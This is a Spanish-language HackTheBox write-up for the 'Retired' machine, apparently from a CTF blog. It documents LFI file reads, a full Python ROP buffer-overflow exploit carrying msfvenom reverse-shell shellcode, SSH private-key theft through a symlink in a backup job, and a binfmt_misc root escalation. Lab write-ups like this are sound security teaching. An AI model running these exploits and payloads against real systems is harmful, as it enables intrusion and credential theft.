Retired es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina retired 10.10.11.154 a /etc/hosts como retired.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
# Nmap 7.92 scan initiated Sat Aug 6 19:38:38 2022 as: nmap -sC -sV -oA enumeration/nmap1 10.10.11.154 Nmap scan report for 10.10.11.154 Host is up (0.041s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 3072 77:b2:16:57:c2:3c:10:bf:20:f1:62:76:ea:81:e4:69 (RSA) | 256 cb:09:2a:1b:b9:b9:65:75:94:9d:dd:ba:11:28:5b:d2 (ECDSA) |_ 256 0d:40:f0:f5:a8:4b:63:29:ae:08:a1:66:c1:26:cd:6b (ED25519) 80/tcp open http nginx | http-title: Agency - Start Bootstrap Theme |_Requested resource was /index.php?page=default.html Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Aug 6 19:38:48 2022 -- 1 IP address (1 host up) scanned in 10.58 seconds |
No hay muchos puertos abiertos, así que vamos a tirar contra el portal web existente en el puerot 80.
Enumeración
Accedemos al portal web en el puerto 80 y vemos la siguiente aplicación
Navegamos por el portal y encontramos varias cosas interesantes, por un lado observamos la forma que tiene la aplicación de acceder a las diferentes páginas html
1 |
http://retired.htb/index.php?page=default.html |
Y por otro observamos un texto donde indica que el servicio EMUEMU se encuentra abierto en fase beta:
Vistos estos dos puntos vamos a buscar en primer lugar si la página es vulnerable a lfi, y observamos que efectivamente hemos podido obtener el fichero passwd de la máquina
1 2 3 4 |
$ curl http://retired.htb/index.php?page=/etc/passwd -s|grep bash root:x:0:0:root:/root:/bin/bash vagrant:x:1000:1000::/vagrant:/bin/bash dev:x:1001:1001::/home/dev:/bin/bash |
Por otra parte, y conociendo que el servicio emuemu se encuentra en fase beta probamos a acceder al fichero beta.html y nos muestra la siguiente pantalla:
Leyendo el texto indica que para poder acceder al programa beta es necesario una licencia que debe de ser activada por la aplicación activate_license, y revisando el código del formulario llama al fichero activate_license.php, así que aprovechando la vulnerabilidad de lfi vista anteriormente vamos a obtener el fichero.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ curl -s http://retired.htb/index.php?page=activate_license.php <?php if(isset($_FILES['licensefile'])) { $license = file_get_contents($_FILES['licensefile']['tmp_name']); $license_size = $_FILES['licensefile']['size']; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!$socket) { echo "error socket_create()\n"; } if (!socket_connect($socket, '127.0.0.1', 1337)) { echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n"; } socket_write($socket, pack("N", $license_size)); socket_write($socket, $license); socket_shutdown($socket); socket_close($socket); } ?> |
Revisando el código vemos que hay un servicio, al cual no tenemos acceso, en el puerto 1337, así que aprovecharemos la vuln de nuevo para descubrir cuál es el proceso
1 2 |
$ curl -s http://retired.htb/index.php?page=/proc/sched_debug | grep activate S activate_licens 440 30044.807998 17 120 0.000000 4.296368 0.000000 0 0 / |
Vemos que tiene asignado el pid 440, así que vamos a obtener el cmdline del proceso
1 2 3 |
$ curl -s http://retired.htb/index.php?page=/proc/440/cmdline -o activate_license_cmdline $ cat activate_license_cmdline /usr/bin/activate_license1337 |
Vemos que se trata de un ejecutable llamado activate_license, así que vamos a descargarlo para ver realmente de qué se trata
1 2 3 |
$ curl -s http://retired.htb/index.php?page=/usr/bin/activate_license -o activate_license $ file activate_license activate_license: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=554631debe5b40be0f96cabea315eedd2439fb81, for GNU/Linux 3.2.0, with debug_info, not stripped |
Se trata de un fichero ELF, lo que quiere decir que vamos a necesitar explotar el mismo para poder avanzar, revisaremos entonces las protecciones del mismo
1 2 3 4 5 6 7 |
$ checksec activate_license [*] '/data/ctf/htb/machines/todo/retired.htb/data/activate_license' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled |
Para ello vamos a necesitar crear un exploit, para el cual necesitaremos
- Definir una ruta en la que se almacenará cualquier fichero que se desee descargar
- Automatizar el proceso de obtención del pid del proceso de activate_license
- Obtener las direcciones de memoria que utiliza el proceso (lo podemos obtener del fichero maps del proceso)
- Generar un payload, lo haremos con msfvenom
- Obtener el offset, para ello lanzaremos el fichero php en local y obtendremos el offset con la ayuda de gdb
Conocidos los puntos necesarios vamos a explicar cada una de las partes del exploit.
En nuestro caso utilizamos python, y creamos una función para almacenar el fichero que se necesite descargar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
def get_path(path): # do request request = requests.get("http://retired.htb/index.php?page={0}".format(path), allow_redirects=False) # specify path # use /tmp to save .so files request_path = "/tmp/{0}".format(path.split('/')[-1]) # write data to file with open(request_path, "wb") as file: file.write(request.content) # and last return file path return request_path |
Automatizamos la obtención del pid del proceso
1 2 3 4 5 6 7 8 9 |
def get_pid(): # do request to get pid request = requests.get("http://retired.htb/index.php?page=/proc/sched_debug", allow_redirects=False) # parse pid with regex pid = re.search("activate_licens\s+([0-9]+)",request.text).group(1) # and return pid return pid |
Obtenemos las direcciones de memoria
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
def get_addresses(pid): # get maps file from associated pid request = requests.get("http://retired.htb/index.php?page=/proc/{0}/maps".format(pid), allow_redirects=False) # and get memory positions # from libc libcb = int(re.search("^.*libc.*$", request.text, re.M).group(0).split("-")[0], 16) libcp = re.search("^.*libc.*$", request.text, re.M).group(0).split(" ")[-1] # from libsqlite libsb = int(re.search("^.*libsqlite.*$", request.text, re.M).group(0).split("-")[0], 16) libsp = re.search("^.*libsqlite.*$", request.text, re.M).group(0).split(" ")[-1] # and stack stack_base = int(re.search("^.*\[stack\].*$", request.text, re.M).group(0).split("-")[0], 16) stack_send = int(re.search("^.*\[stack\].*$", request.text, re.M).group(0).split("-")[1].split()[0], 16) return libcb, libcp, libsb, libsp, stack_base, stack_send |
Y generamos el payload
1 |
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f py |
En este caso, y para poder hacer la ip dinámica, editamos el payload, quedando de la siguiente forma
1 2 3 4 5 6 7 |
payload = b"" payload += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48" payload += b"\x97\x48\xb9\x02\x00\x11\x5c" + ip + b"\x51\x48" payload += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e" payload += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58" payload += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48" payload += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05" |
El último paso será obtener el offset y posteriormente juntarlo todo.
Nos descargaremos el fichero activate_license.php y levantaremos un servidor con php en el directorio donde esté el mismo
1 2 3 4 |
$ curl -s http://retired.htb/index.php?page=activate_license.php --output activate_license.php $ sudo php -S 0.0.0.0:80 [sudo] contraseña para asdf: [Sun Aug 7 10:02:20 2022] PHP 8.1.5 Development Server (http://0.0.0.0:80) started |
A continuación levantamos gdb con el ejecutable y el puerto 1337
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
$ gdb --args ./activate_license 1337 GNU gdb (Debian 10.1-2+b1) 10.1.90.20210103-git Copyright (C) 2021 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./activate_license... gdb-peda$ |
Generamos un payload y lanzamos la aplicación
1 2 3 4 5 6 7 8 |
gdb-peda$ pattern_create 750 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRAB' gdb-peda$ run Starting program: /data/ctf/htb/machines/todo/retired.htb/data/activate_license 1337 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [+] starting server listening on port 1337 [+] listening ... |
A continuación, y con la ayuda de python, enviaremos una petición con el payload que hemos generado
1 2 3 4 5 6 7 8 |
$ python3 Python 3.10.5 (main, Jun 8 2022, 09:26:22) [GCC 11.3.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import requests >>> payload='AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRAB' >>> requests.post('http://localhost/activate_license.php', files = { "licensefile": payload } ) <Response [200]> >>> |
Y observaremos como se ha obtenido respuesta en el servidor php que levantamos
1 2 3 4 5 |
$ sudo php -S 0.0.0.0:80 [Sun Aug 7 20:52:48 2022] PHP 8.1.5 Development Server (http://0.0.0.0:80) started [Sun Aug 7 20:53:28 2022] 127.0.0.1:59104 Accepted [Sun Aug 7 20:53:29 2022] 127.0.0.1:59104 [200]: POST /activate_license.php [Sun Aug 7 20:53:29 2022] 127.0.0.1:59104 Closing |
Así que ahora volveremos a gdb para obtener el offset
Ahora con todas las partes necesarias, las juntamos y el exploit quedaría como se ve a continuación:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 |
#!/usr/bin/python3 import sys import requests import re from pwn import * # check arguments if len(sys.argv) < 2: print("Usage: python3 exploit.py IP") sys.exit() # path to save any file needed to exploit def get_path(path): # do request request = requests.get("http://retired.htb/index.php?page={0}".format(path), allow_redirects=False) # specify path # use /tmp to save .so files request_path = "/tmp/{0}".format(path.split('/')[-1]) # write data to file with open(request_path, "wb") as file: file.write(request.content) # and last return file path return request_path # get pid of process activate_license def get_pid(): # do request to get pid request = requests.get("http://retired.htb/index.php?page=/proc/sched_debug", allow_redirects=False) # parse pid with regex pid = re.search("activate_licens\s+([0-9]+)",request.text).group(1) # and return pid return pid # get addresses def get_addresses(pid): # get maps file from associated pid request = requests.get("http://retired.htb/index.php?page=/proc/{0}/maps".format(pid), allow_redirects=False) # and get memory positions # from libc libcb = int(re.search("^.*libc.*$", request.text, re.M).group(0).split("-")[0], 16) libcp = re.search("^.*libc.*$", request.text, re.M).group(0).split(" ")[-1] # from libsqlite libsb = int(re.search("^.*libsqlite.*$", request.text, re.M).group(0).split("-")[0], 16) libsp = re.search("^.*libsqlite.*$", request.text, re.M).group(0).split(" ")[-1] # and stack stack_base = int(re.search("^.*\[stack\].*$", request.text, re.M).group(0).split("-")[0], 16) stack_send = int(re.search("^.*\[stack\].*$", request.text, re.M).group(0).split("-")[1].split()[0], 16) return libcb, libcp, libsb, libsp, stack_base, stack_send # do buffer overflow def exploit(): # use socket inet_aton to convert ip from decimal to 32 bit packed format ip = socket.inet_aton(sys.argv[1]) # payload generated with msfvenom # msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f py # and change payload generated ip with ip conversion var payload = b"" payload += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48" payload += b"\x97\x48\xb9\x02\x00\x11\x5c" + ip + b"\x51\x48" payload += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e" payload += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58" payload += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48" payload += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05" # get pid from lfi vulnerability and file /proc/sched_debug pid = get_pid() # define vars with data obtained from maps libcb, libcp, libsb, libsp, stack_base, stack_send = get_addresses(pid) # define arch context.clear(arch="amd64") # calculate stack size stack_size = stack_send - stack_base # get paths of libc and libsqlite .so files libc = ELF(get_path(libcp), checksec=False) libc.address = libcb libsql = ELF(get_path(libsp), checksec=False) libsql.address = libsb # get mprotect function to change the access protection of a memory mapping prt = libc.symbols['mprotect'] # also search rop with the defined vars rop = ROP([libc, libsql]) rdi = rop.rdi[0] rsi = rop.rsi[0] rdx = rop.rdx[0] rsp = rop.jmp_rsp[0] # now use offset offset = 520 # the last step and create exploit exploit = b'A' * offset exploit += p64(rdi) + p64(stack_base) exploit += p64(rsi) + p64(stack_size) exploit += p64(rdx) + p64(7) exploit += p64(prt) exploit += p64(rsp) exploit += payload # send request requests.post("http://retired.htb/activate_license.php", files={"licensefile":exploit}) # start thread of bof function threading.Thread(target=exploit, args=()).start() # run listener shell = listen(4444, timeout=60).wait_for_connection() # export needed vars shell.sendline(b"export HOME=/var/www") # and get shell shell.interactive() |
Una vez que lo tenemos completo, sólo queda ejecutarlo para conseguir acceso con el usuario www-data
1 2 3 4 5 6 7 8 9 |
$ python3 exploit.py 10.10.14.7 [+] Trying to bind to :: on port 4444: Done [+] Waiting for connections on :::4444: Got connection from ::ffff:10.10.11.154 on port 35764 [*] Loaded 190 cached gadgets for '/tmp/libc-2.31.so' [*] Loaded 162 cached gadgets for '/tmp/libsqlite3.so.0.8.6' [*] Switching to interactive mode $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ |
Escalado al usuario dev
A continuación necesitaremos escalar a un usuario con distintos privilegios y para ello procedemos con la enumeración de la máquina, aunque en este caso, si nos fijamos en la home del usuario www-data observamos varios ficheros zip interesantes
1 2 3 4 5 6 7 |
$ ls -l total 1504 -rw-r--r-- 1 dev www-data 505153 Aug 7 20:56 2022-08-07_20-56-06-html.zip -rw-r--r-- 1 dev www-data 505153 Aug 7 20:57 2022-08-07_20-57-06-html.zip -rw-r--r-- 1 dev www-data 505153 Aug 7 20:58 2022-08-07_20-58-06-html.zip drwxrwsrwx 5 www-data www-data 4096 Mar 11 14:36 html -rw-r--r-- 1 www-data www-data 12288 Aug 7 20:57 license.sqlite |
Los ficheros tienen una fecha establecida y da la sensación de que se generan cada minuto, así que vamos a comprobar si hay alguna tarea en el sistema que realice esa acción
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ systemctl list-timers NEXT LEFT LAST PASSED UNIT ACTIVATES Sun 2022-08-07 21:00:00 UTC 39s left Sun 2022-08-07 20:59:06 UTC 14s ago website_backup.timer website_backup.service Sun 2022-08-07 21:09:00 UTC 9min left Sun 2022-08-07 20:39:06 UTC 20min ago phpsessionclean.timer phpsessionclean.service Sun 2022-08-07 21:27:44 UTC 28min left Fri 2022-03-11 15:32:28 UTC 4 months 27 days ago apt-daily.timer apt-daily.service Mon 2022-08-08 00:00:00 UTC 3h 0min left Sun 2022-08-07 20:24:48 UTC 34min ago logrotate.timer logrotate.service Mon 2022-08-08 00:00:00 UTC 3h 0min left Sun 2022-08-07 20:24:48 UTC 34min ago man-db.timer man-db.service Mon 2022-08-08 00:08:06 UTC 3h 8min left Sun 2022-08-07 20:36:06 UTC 23min ago fstrim.timer fstrim.service Mon 2022-08-08 06:53:59 UTC 9h left Sun 2022-08-07 20:55:06 UTC 4min 14s ago apt-daily-upgrade.timer apt-daily-upgrade.service Mon 2022-08-08 20:39:47 UTC 23h left Sun 2022-08-07 20:39:47 UTC 19min ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service Sun 2022-08-14 03:10:57 UTC 6 days left Sun 2022-08-07 20:25:06 UTC 34min ago e2scrub_all.timer e2scrub_all.service 9 timers listed. Pass --all to see loaded but inactive timers, too. |
Y vemos una tarea llamada website_backup, que tiene pinta de ser la encargada de generar esos zips.
Buscaremos el fichero donde se define la configuración del servicio
1 2 |
$ find / -name website_backup.service 2>/dev/null /etc/systemd/system/website_backup.service |
El cual dispone del siguiente contenido
1 2 3 4 5 6 7 8 9 10 11 |
$ cat /etc/systemd/system/website_backup.service [Unit] Description=Backup and rotate website [Service] User=dev Group=www-data ExecStart=/usr/bin/webbackup [Install] WantedBy=multi-user.target |
El servicio ejecuta un fichero llamado webbackup así que vamos a revisar el contenido del mismo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
$ ls -l /usr/bin/webbackup -rwxr-xr-x 1 root root 485 Oct 13 2021 /usr/bin/webbackup $ $ cat /usr/bin/webbackup #!/bin/bash set -euf -o pipefail cd /var/www/ SRC=/var/www/html DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip" /usr/bin/rm --force -- "$DST" /usr/bin/zip --recurse-paths "$DST" "$SRC" KEEP=10 /usr/bin/find /var/www/ -maxdepth 1 -name '*.zip' -print0 \ | sort --zero-terminated --numeric-sort --reverse \ | while IFS= read -r -d '' backup; do if [ "$KEEP" -le 0 ]; then /usr/bin/rm --force -- "$backup" fi KEEP="$((KEEP-1))" done $ |
El script realiza cada minuto un backup del contenido de la ruta /var/www/html, en la cual tenemos permisos, así que vamos a tratar de obtener la clave ssh del usuario dev mediante la creación de un enlace en el directorio.
1 2 |
$ ln -sfvn /home/dev/.ssh/id_rsa dev.pem 'dev.pem' -> '/home/dev/.ssh/id_rsa' |
Esperamos unos segundos hasta la siguiente ejecución y vemos dentro del zip como se encuentra la clave pem del usuario dev
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
$ ls -l total 1508 -rw-r--r-- 1 dev www-data 505153 Aug 7 21:02 2022-08-07_21-02-06-html.zip -rw-r--r-- 1 dev www-data 505153 Aug 7 21:03 2022-08-07_21-03-06-html.zip -rw-r--r-- 1 dev www-data 507286 Aug 7 21:04 2022-08-07_21-04-06-html.zip drwxrwsrwx 5 www-data www-data 4096 Aug 7 21:04 html -rw-r--r-- 1 www-data www-data 12288 Aug 7 20:57 license.sqlite drwxr-sr-x 3 www-data www-data 4096 Aug 7 21:04 var $ unzip -v 2022-08-07_21-04-06-html.zip Archive: 2022-08-07_21-04-06-html.zip Length Method Size Cmpr Date Time CRC-32 Name -------- ------ ------- ---- ---------- ----- -------- ---- 0 Stored 0 0% 2022-08-07 21:03 00000000 var/www/html/ 0 Stored 0 0% 2022-03-11 14:36 00000000 var/www/html/js/ 1636 Defl:N 651 60% 2021-10-13 02:59 f2532dba var/www/html/js/scripts.js 2590 Defl:N 1965 24% 2022-03-11 11:12 2784fd79 var/www/html/dev.pem 585 Defl:N 288 51% 2021-10-13 02:58 aaf1f9ec var/www/html/activate_license.php 0 Stored 0 0% 2022-03-11 14:36 00000000 var/www/html/assets/ 23462 Defl:N 2192 91% 2021-10-13 02:59 ef5418b6 var/www/html/assets/favicon.ico 0 Stored 0 0% 2022-03-11 14:36 00000000 var/www/html/assets/img/ 333 Defl:N 201 40% 2021-10-13 02:59 5fb38b0e var/www/html/assets/img/close-icon.svg 14220 Defl:N 4361 69% 2021-10-13 02:59 d74837be var/www/html/assets/img/navbar-logo.svg 0 Stored 0 0% 2022-03-11 14:36 00000000 var/www/html/assets/img/about/ 10187 Defl:N 9831 4% 2021-10-13 02:59 e5d3b640 var/www/html/assets/img/about/2.jpg 16175 Defl:N 15849 2% 2021-10-13 02:59 08acb3dc var/www/html/assets/img/about/4.jpg 18029 Defl:N 17711 2% 2021-10-13 02:59 aca03f1a var/www/html/assets/img/about/3.jpg 19668 Defl:N 19350 2% 2021-10-13 02:59 86287fe8 var/www/html/assets/img/about/1.jpg 0 Stored 0 0% 2022-03-11 14:36 00000000 var/www/html/assets/img/logos/ 3223 Defl:N 1478 54% 2021-10-13 02:59 e0a1840c var/www/html/assets/img/logos/facebook.svg 4137 Defl:N 1827 56% 2021-10-13 02:59 5bb41404 var/www/html/assets/img/logos/microsoft.svg 3282 Defl:N 1621 51% 2021-10-13 02:59 e7104200 var/www/html/assets/img/logos/google.svg 2284 Defl:N 929 59% 2021-10-13 02:59 8028de2b var/www/html/assets/img/logos/ibm.svg 0 Stored 0 0% 2022-03-11 14:36 00000000 var/www/html/assets/img/team/ 61067 Defl:N 60510 1% 2021-10-13 02:59 6f71763e var/www/html/assets/img/team/2.jpg 57725 Defl:N 56571 2% 2021-10-13 02:59 7a567792 var/www/html/assets/img/team/3.jpg 40338 Defl:N 38639 4% 2021-10-13 02:59 f56e2fc4 var/www/html/assets/img/team/1.jpg 238317 Defl:N 234751 2% 2021-10-13 02:59 0a2f337b var/www/html/assets/img/header-bg.jpg 4144 Defl:N 1439 65% 2022-03-11 11:34 7e734e68 var/www/html/beta.html 11414 Defl:N 2667 77% 2021-10-13 02:58 a91f8ce2 var/www/html/default.html 348 Defl:N 216 38% 2022-03-11 11:29 64955ab0 var/www/html/index.php 0 Stored 0 0% 2022-03-11 14:36 00000000 var/www/html/css/ 219875 Defl:N 28571 87% 2021-10-13 02:59 238a3659 var/www/html/css/styles.css -------- ------- --- ------- 753039 501618 33% 30 files |
Así que extraemos la misma
1 2 3 4 5 6 7 8 |
$ cat dev.pem -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEA58qqrW05/urHKCqCgcIPhGka60Y+nQcngHS6IvG44gcb3w0HN/yf db6Nzw5wfLeLD4uDt8k9M7RPgkdnIRwdNFxleNHuHWmK0j7OOQ0rUsrs8LudOdkHGu0qQr AnCIpK3Gb74zh6pe03zHVcZyLR2tXWmoXqRF8gE2hsry/AECZRSfaYRhac6lASRZD74bQb --- --- |
Obteniendo la flag de user
Con la clave en nuestra posesión, accedemos por ssh con el usuario dev y leemos la flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ ssh -i dev.pem dev@retired.htb The authenticity of host 'retired.htb (10.10.11.154)' can't be established. ED25519 key fingerprint is SHA256:yJ9p3p5aZFrQR+J2qeIQ54gY9gQ7kcEbymYQBvP5PdY. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'retired.htb' (ED25519) to the list of known hosts. Linux retired 5.10.0-11-amd64 #1 SMP Debian 5.10.92-2 (2022-02-28) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Mar 28 11:36:17 2022 from 10.10.14.23 dev@retired:~$ id uid=1001(dev) gid=1001(dev) groups=1001(dev),33(www-data) dev@retired:~$ cat user.txt 3xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx3 |
Escalado de privilegios
Para el escalado a root, revisamos en primer lugar la home del usuario y encontramos un fichero escrito en c llamado reg_helper.c con el siguiente contenido
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
dev@retired:~/emuemu$ cat reg_helper.c #define _GNU_SOURCE #include <fcntl.h> #include <stdio.h> #include <string.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> int main(void) { char cmd[512] = { 0 }; read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0; int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY); if (-1 == fd) perror("open"); if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1) perror("write"); if (close(fd) == -1) perror("close"); return 0; } |
Revisamos en la máquina y encontramos otro fichero igual pero en una ruta diferente
1 |
/usr/lib/emuemu/reg_helper |
Lo que nos da que pensar que es la forma de escalar, así que revisamos el fichero y encontramos una ruta muy interesante /proc/sys/fs/binfmt_misc/register y si buscamos en google encontramos un exploit para el escalado de privilegios en github.
Nos descargamos el mismo y realizaremos algunos cambios.
Eliminaremos la siguiente función
1 2 3 4 |
function not_writeable() { test ! -w "$mountpoint/register" } |
Y la línea
1 |
not_writeable && die "Error: $mountpoint/register is not writeable" |
Y por último modificaremos la línea
1 |
echo "$binfmt_line" > "$mountpoint"/register |
Por esta otra
1 |
echo "$binfmt_line" > /usr/lib/emuemu/reg_helper |
Si nos fijamos eliminamos, dos partes que no son importantes y editamos la línea del final redirigiendo la salida el ejecutable vulnerable.
Una vez hechos los cambios ya sólo nos queda ejecutar el exploit.
Obteniendo la flag de root
Ejecutamos y conseguimos escalar a root y la flag del mismo
1 2 3 4 5 6 7 8 |
dev@retired:~$ chmod +x binfmt_rootkit dev@retired:~$ ./binfmt_rootkit uid=0(root) euid=0(root) # id uid=0(root) gid=1001(dev) groups=1001(dev),33(www-data) # cat /root/root.txt dxxxxxxxxxxxxxxxxxxxxxxxxxxxx1 # |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace